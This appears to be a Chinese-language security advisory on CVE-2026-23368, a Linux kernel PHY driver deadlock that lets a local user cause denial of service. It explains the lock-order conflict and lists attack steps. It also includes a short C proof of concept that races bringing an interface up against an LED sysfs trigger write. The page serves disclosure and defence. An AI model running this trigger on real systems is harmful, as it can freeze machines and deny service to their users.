IPBUF安全漏洞报告
English
CVE-2026-23368 CVSS 5.5 中危

Linux内核PHY驱动死锁漏洞 (CVE-2026-23368)

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23368
漏洞类型
死锁
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux内核死锁拒绝服务DoS竞态条件本地漏洞

漏洞概述

Linux内核网络PHY驱动组件存在AB-BA死锁漏洞。当系统同时启用LEDS_TRIGGER_NETDEV和LED_TRIGGER_PHY功能时,由于锁获取顺序冲突,可能导致系统死锁,进而引发拒绝服务。

技术细节

该漏洞源于Linux内核网络子系统中PHY驱动的锁管理缺陷,属于典型的并发资源竞争导致的AB-BA死锁。在`phy_attach_direct`执行期间,内核持有`rtnl_mutex`锁并调用`phy_led_triggers_register`函数,试图获取`triggers_list_lock`。与此同时,另一用户空间线程通过sysfs接口设置LED触发器时,内核在持有`triggers_list_lock`(读锁)的情况下,尝试通过`register_netdevice_notifier`获取`rtnl_mutex`。由于两个线程对锁的获取顺序完全相反,导致互相阻塞,形成死循环,最终造成内核死锁及系统拒绝服务。利用该漏洞需要本地低权限,且内核必须开启相关LED触发器配置。

攻击链分析

STEP 1
步骤1
攻击者确认目标系统启用了CONFIG_LEDS_TRIGGER_NETDEV和CONFIG_LEDS_TRIGGER_PHY内核配置。
STEP 2
步骤2
攻击者执行指令启动网络接口(如eth0),触发内核调用phy_attach_direct,此时内核持有rtnl_mutex。
STEP 3
步骤3
攻击者同时或紧接着向sysfs中的LED trigger节点写入数据(如"netdev"),触发netdev_trig_activate。
STEP 4
步骤4
两个执行路径形成AB-BA锁依赖,导致系统死锁,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23368 (Conceptual) * This script attempts to trigger the AB-BA deadlock by racing * a network interface 'up' operation against an LED trigger write. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> void trigger_led() { // Path may vary depending on hardware configuration const char *trigger_path = "/sys/class/leds/phy0/trigger"; int fd = open(trigger_path, O_WRONLY); if (fd >= 0) { write(fd, "netdev", 6); close(fd); } } void bring_up_netdev() { // Replace eth0 with actual interface managed by the PHY system("ip link set eth0 up"); } int main() { pid_t pid = fork(); if (pid == 0) { bring_up_netdev(); // Thread 1: Holds rtnl_mutex, wants triggers_list_lock } else { usleep(20000); // Attempt to hit the race window trigger_led(); // Thread 2: Holds triggers_list_lock, wants rtnl_mutex } return 0; }

影响范围

Linux Kernel (Versions prior to fix commits 241cd64c, 2764dcb3, etc.)

防御指南

临时缓解措施
如果无法立即升级内核,建议禁用相关的LED触发器内核模块或配置选项,避免同时启用LEDS_TRIGGER_NETDEV和LED_TRIGGER_PHY,从而消除死锁条件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表